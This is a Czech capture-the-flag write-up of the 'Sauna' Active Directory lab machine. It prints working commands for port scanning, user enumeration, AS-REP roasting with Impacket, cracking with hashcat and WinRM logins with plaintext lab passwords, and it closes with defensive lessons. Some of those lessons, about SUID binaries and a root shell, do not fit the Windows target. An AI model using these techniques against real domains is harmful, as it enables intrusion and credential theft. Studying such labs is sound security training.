Sauna
Úvod a kontext
U Sauna není hlavní hodnota v jednom efektním kroku, ale ve vazbě mezi SMB sdílení, Kerberos a LDAP.
Článek dává smysl číst hlavně jako rozbor rozhodování: proč právě tyto stopy vedou k WinRM s ověřeným heslem a proč po získání shellu dává smysl řešit lokální enumeraci po získání shellu.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-16 05:40:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49682/tcp open msrpc Microsoft Windows RPC
59664/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=2/15%Time=5E486588%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Enumerace SMB
U SMB sdílení ověřuji, jaká data jsou dostupná bez dalších oprávnění a zda z nich lze získat účty, dokumenty nebo konfigurační tajemství.
./enum4linux.pl -a -d -o -v -u FSmith -p Thestrokes23 $IP
index: 0xeda RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0xfaf RID: 0x451 acb: 0x00010210 Account: FSmith Name: Fergus Smith Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xfad RID: 0x44f acb: 0x00000010 Account: HSmith Name: Hugo Smith Desc: (null)
index: 0xf10 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0xfb6 RID: 0x454 acb: 0x00000210 Account: svc_loanmgr Name: L Manager Desc: (null)
[V] Running command: net rpc group members 'Remote Management Users' -W '' -I '10.10.10.175' -U'FSmith'%'Thestrokes23' 2>&1
Group 'Remote Management Users' (RID: 580) has member: EGOTISTICALBANK\FSmith
Group 'Remote Management Users' (RID: 580) has member: EGOTISTICALBANK\svc_loanmgr
Analýza zjištění
Lámání hesel nebo hashů
Hash nebo zašifrovaný artefakt má smysl lámat jen tehdy, pokud může otevřít další službu, účet nebo vrstvu prostředí; právě to zde ověřuji.
./impacket/examples/GetNPUsers.py -format hashcat -usersfile Sauna-users-all.txt -outputfile Sauna-hashes.asreproast -dc-ip 10.10.10.175 EGOTISTICAL-BANK.LOCAL/ > Sauna-users-all-np.txt
=> FSmith
Lámání hesel nebo hashů (2)
Hash nebo zašifrovaný artefakt má smysl lámat jen tehdy, pokud může otevřít další službu, účet nebo vrstvu prostředí; právě to zde ověřuji.
hashcat -m 18200 --force -a 0 Sauna-hashes.asreproast /usr/share/wordlists/rockyou.txt
Získání přístupu
Přihlášení na cíl
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
./evil-winrm/evil-winrm.rb -i 10.10.10.175 -u FSmith -p 'Thestrokes23'
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
cat user.txt
__CENSORED__
=> user: svc_loanmgr
Přihlášení na cíl (2)
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
./evil-winrm/evil-winrm.rb -i 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Klíčové bylo spojení enumerace uživatelů s AS-REP roastem účtu
FSmith, ne jen přítomnost AD služeb na portech. - User fáze se opírala o WinRM s heslem
Thestrokes23, takže foothold vznikl z ověřeného doménového tajemství. - Další posun umožnilo reuse hesla účtu
svc_loanmgr, což je přesně ten typ chyby, který v AD rychle řetězí role.
Co si odnést do praxe
- První obranná lekce míří na SMB sdílení, Kerberos a LDAP. SMB sdílení mají mít opravdu minimální ACL a průběžný audit obsahu; i read-only přístup často útočníkovi dá víc než samotná zranitelnost služby.
- Druhá lekce je o tom, jak rychle se ze zjištění stane WinRM s ověřeným heslem. WinRM má být dostupný jen z management sítě a s unikátními přístupy; jinak z každého úniku hesla vznikne okamžitý administrativní kanál.
- Třetí lekce připomíná riziko, které v praxi představuje lokální enumerace po získání shellu. SUID binárky a privilegované wrappery musí být minimální, auditované a bez možnosti měnit interpretované argumenty; i malá chyba tu obvykle končí root shellem.